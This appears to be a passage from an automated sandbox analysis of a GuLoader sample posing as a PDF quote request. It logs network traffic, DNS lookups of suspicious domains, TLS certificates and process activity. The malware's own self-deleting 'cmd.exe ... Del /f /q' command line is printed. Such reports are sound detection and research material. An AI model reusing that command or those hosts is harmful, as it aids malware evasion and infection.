Apr 8, 2021 18:46:40.765764952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.765795946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765814066 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.765836954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765856028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.765886068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765913010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765957117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765988111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.765995979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766035080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766048908 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766067982 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766069889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766094923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766118050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766145945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766160965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766174078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766196012 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766202927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766232014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766267061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766293049 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766297102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766325951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766340971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766354084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766375065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766381979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766412020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766448021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766465902 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766475916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766489983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766505003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766532898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766561985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766588926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766617060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766628027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766659021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766684055 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766686916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766727924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766777992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766777992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766822100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766877890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766877890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766927004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.766980886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.766992092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767040968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767086983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767113924 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.767132044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767144918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.767180920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767222881 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.767282009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767338991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767437935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767492056 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767493963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.767579079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767633915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.767683029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767744064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.767878056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.785947084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.785970926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.785990953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786010027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786043882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786062002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786082029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786099911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786118031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786117077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786137104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786154985 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786160946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786170959 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786221027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786237955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786293030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786300898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786329031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786362886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786425114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786444902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786503077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786624908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786645889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786674976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786694050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786715984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786717892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786741972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786751032 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786761999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786783934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786792994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786804914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786809921 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786824942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786844015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786855936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786866903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786899090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.786936045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786955118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786971092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.786992073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787028074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787036896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787058115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787101030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787157059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787174940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787204981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787228107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787266970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787287951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787307024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787323952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787355900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787383080 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787415981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787436008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787492990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787497997 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787514925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787533045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787556887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787585974 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787616014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787657022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787676096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787698030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787715912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787730932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787734032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787758112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787770033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.787781000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.787836075 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.789145947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.789247990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.804240942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804276943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804296970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804321051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804339886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804373980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804377079 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.804393053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804406881 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.804406881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.804410934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.804593086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:41.907636881 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:41.907962084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:41.925550938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:41.925950050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:41.926007032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:42.882791996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:43.056087971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:45.362576008 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:45.363205910 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:45.363410950 CEST	49723	443	192.168.2.5	195.201.225.248

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 18:45:54.321296930 CEST	53	61733	8.8.8.8	192.168.2.5
Apr 8, 2021 18:45:54.956237078 CEST	65447	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:45:54.993563890 CEST	53	65447	8.8.8.8	192.168.2.5
Apr 8, 2021 18:45:55.284269094 CEST	52441	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:45:55.297019005 CEST	53	52441	8.8.8.8	192.168.2.5
Apr 8, 2021 18:45:56.122231007 CEST	62176	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:45:56.134759903 CEST	53	62176	8.8.8.8	192.168.2.5
Apr 8, 2021 18:45:59.838401079 CEST	59596	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:45:59.851428032 CEST	53	59596	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:08.408804893 CEST	65296	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:08.421251059 CEST	53	65296	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:09.302000999 CEST	63183	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:09.316871881 CEST	53	63183	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:10.763600111 CEST	60151	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:10.778618097 CEST	53	60151	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:12.885046005 CEST	56969	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:12.899403095 CEST	53	56969	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:14.362267971 CEST	55161	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:14.375509024 CEST	53	55161	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:23.569161892 CEST	59736	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:23.582048893 CEST	53	59736	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:23.606267929 CEST	51058	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:23.607131004 CEST	52636	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:23.618297100 CEST	53	51058	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:23.619775057 CEST	53	52636	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:23.761043072 CEST	54757	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:23.782010078 CEST	53	54757	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:26.445846081 CEST	49992	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:26.472815037 CEST	53	49992	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:27.263010025 CEST	60075	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:27.275788069 CEST	53	60075	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:28.152524948 CEST	55016	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:28.191073895 CEST	53	55016	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:28.639209032 CEST	64345	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:28.652918100 CEST	53	64345	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:28.903700113 CEST	57128	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:28.916362047 CEST	53	57128	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:32.063061953 CEST	54791	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:32.081640959 CEST	53	54791	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:33.933720112 CEST	50463	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:34.134996891 CEST	53	50463	8.8.8.8	192.168.2.5
Apr 8, 2021 18:46:50.092916012 CEST	50394	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:46:50.105616093 CEST	53	50394	8.8.8.8	192.168.2.5
Apr 8, 2021 18:47:02.721182108 CEST	58530	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:47:02.734487057 CEST	53	58530	8.8.8.8	192.168.2.5
Apr 8, 2021 18:47:07.305150986 CEST	53813	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:47:07.323040009 CEST	53	53813	8.8.8.8	192.168.2.5
Apr 8, 2021 18:47:24.627325058 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:47:24.663213015 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 8, 2021 18:47:37.523016930 CEST	57344	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:47:37.537092924 CEST	53	57344	8.8.8.8	192.168.2.5
Apr 8, 2021 18:47:39.612608910 CEST	54450	53	192.168.2.5	8.8.8.8
Apr 8, 2021 18:47:39.625710964 CEST	53	54450	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 8, 2021 18:46:28.152524948 CEST	192.168.2.5	8.8.8.8	0x1614	Standard query (0)	doc-0o-7g-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Apr 8, 2021 18:46:28.639209032 CEST	192.168.2.5	8.8.8.8	0x87ac	Standard query (0)	telete.in	A (IP address)	IN (0x0001)
Apr 8, 2021 18:46:33.933720112 CEST	192.168.2.5	8.8.8.8	0x7745	Standard query (0)	shehootastayonwhatshelirned.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 8, 2021 18:46:28.191073895 CEST	8.8.8.8	192.168.2.5	0x1614	No error (0)	doc-0o-7g-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 18:46:28.191073895 CEST	8.8.8.8	192.168.2.5	0x1614	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.33	A (IP address)	IN (0x0001)
Apr 8, 2021 18:46:28.652918100 CEST	8.8.8.8	192.168.2.5	0x87ac	No error (0)	telete.in		195.201.225.248	A (IP address)	IN (0x0001)
Apr 8, 2021 18:46:34.134996891 CEST	8.8.8.8	192.168.2.5	0x7745	No error (0)	shehootastayonwhatshelirned.top		5.230.68.40	A (IP address)	IN (0x0001)
Apr 8, 2021 18:46:34.134996891 CEST	8.8.8.8	192.168.2.5	0x7745	No error (0)	shehootastayonwhatshelirned.top		45.139.187.144	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 8, 2021 18:46:28.230168104 CEST	172.217.168.33	443	192.168.2.5	49722	CN=*.googleusercontent.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Mar 16 20:32:57 CET 2021 Thu Jun 15 02:00:42 CEST 2017	Tue Jun 08 21:32:56 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Apr 8, 2021 18:46:28.230168104 CEST	172.217.168.33	443	192.168.2.5	49722	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		37f463bf4616ecd445d4a1937da06e19
Apr 8, 2021 18:46:28.704714060 CEST	195.201.225.248	443	192.168.2.5	49723	CN=telecut.in CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Feb 17 11:17:19 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Tue May 18 12:17:19 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Apr 8, 2021 18:46:28.704714060 CEST	195.201.225.248	443	192.168.2.5	49723	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		ce5f3254611a8c095a3d821d44539877
Apr 8, 2021 18:46:34.178030968 CEST	5.230.68.40	443	192.168.2.5	49727	CN=shehootastayonwhatshelirned.top CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Apr 07 20:31:57 CEST 2021 Wed Oct 07 21:21:40 CEST 2020	Tue Jul 06 20:31:57 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Apr 8, 2021 18:46:34.178030968 CEST	5.230.68.40	443	192.168.2.5	49727	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		ce5f3254611a8c095a3d821d44539877

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 1688 Parent PID: 5604

General

Start time:	18:46:02
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'
Imagebase:	0x400000
File size:	126976 bytes
MD5 hash:	AC6576AA4888BBBB8BD2598E75F8B6D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516 Parent PID: 1688

General

Start time:	18:46:13
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'
Imagebase:	0x400000
File size:	126976 bytes
MD5 hash:	AC6576AA4888BBBB8BD2598E75F8B6D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 00000002.00000002.313364575.0000000000561000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6740 Parent PID: 4516

General

Start time:	18:46:42
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'
Imagebase:	0x350000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6748 Parent PID: 6740

General

Start time:	18:46:43
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 6776 Parent PID: 6740

General

Start time:	18:46:43
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /T 10 /NOBREAK
Imagebase:	0x1050000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 1688 Parent PID: 5604 SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exeCOMMON

Executed Functions

Function 020F05E9, Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 567COMMON

Download Yara Rule

Strings

W.E, xrefs: 020F3250
\filename1.exe, xrefs: 020F3356
p, xrefs: 020F2870
shell32, xrefs: 020F3396

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: W.E$\filename1.exe$p$shell32
API String ID: 1029625771-2196544631
Opcode ID: b4b19357f5e0f8f33bfb90d8033a7747bd115e34a0d594d1c99a813e6ae9601e
Instruction ID: eb24cb11c9ac146bc9483b6c59544f52df437facee8d90f861a98afc4589e142
Opcode Fuzzy Hash: b4b19357f5e0f8f33bfb90d8033a7747bd115e34a0d594d1c99a813e6ae9601e
Instruction Fuzzy Hash: 0F128A715843C96EEBF29B348C94BDE7BE6AF42774F2800AEDE4047896E725D441A702

Uniqueness

Uniqueness Score: -1.00%

Function 020F524D, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 251nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000000,?,00003000,00000004,?,0000001C,00000000), ref: 020F5546

Strings

1.!T, xrefs: 020F0545

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: ResumeThread
String ID: 1.!T
API String ID: 947044025-3147410236
